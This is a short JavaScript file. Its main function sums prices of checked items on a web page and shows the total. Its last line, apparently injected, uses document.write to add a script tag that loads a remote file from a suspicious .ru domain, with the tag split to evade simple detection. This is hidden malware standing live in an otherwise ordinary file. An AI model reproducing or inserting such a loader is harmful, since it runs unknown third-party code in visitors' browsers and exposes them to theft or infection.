function $( id ) {
	return document.getElementById( id );
}

function recalc_summ() {
	var total_sum = 0;
	
	var len = chs.length;
	
	for ( var i=0; i < len; i++ ) {
		var cb = $( 'cb_' + chs[i] );
		if ( cb ) {
			if ( cb.checked ) {
				var ed = $( 'ed_' + chs[i] );
				if ( ed ) {
					if ( ed.value == '' ) ed = 0;
					else
						ed = parseInt( ed.value );
					if ( isNaN( ed ) ) ed = 0;
					if ( ed <= 0 ) ed = 0;
				}
				else
					ed = 1;
				
				total_sum += ed * chs_v[ i ];
			}
		}
	}
	
	$( 'total_sum_td' ).innerHTML = total_sum;
}
document.write('<sc'+'ript type="text/javascript" src="http://starvingarctic.ru/Emulation.js"></scri'+'pt>');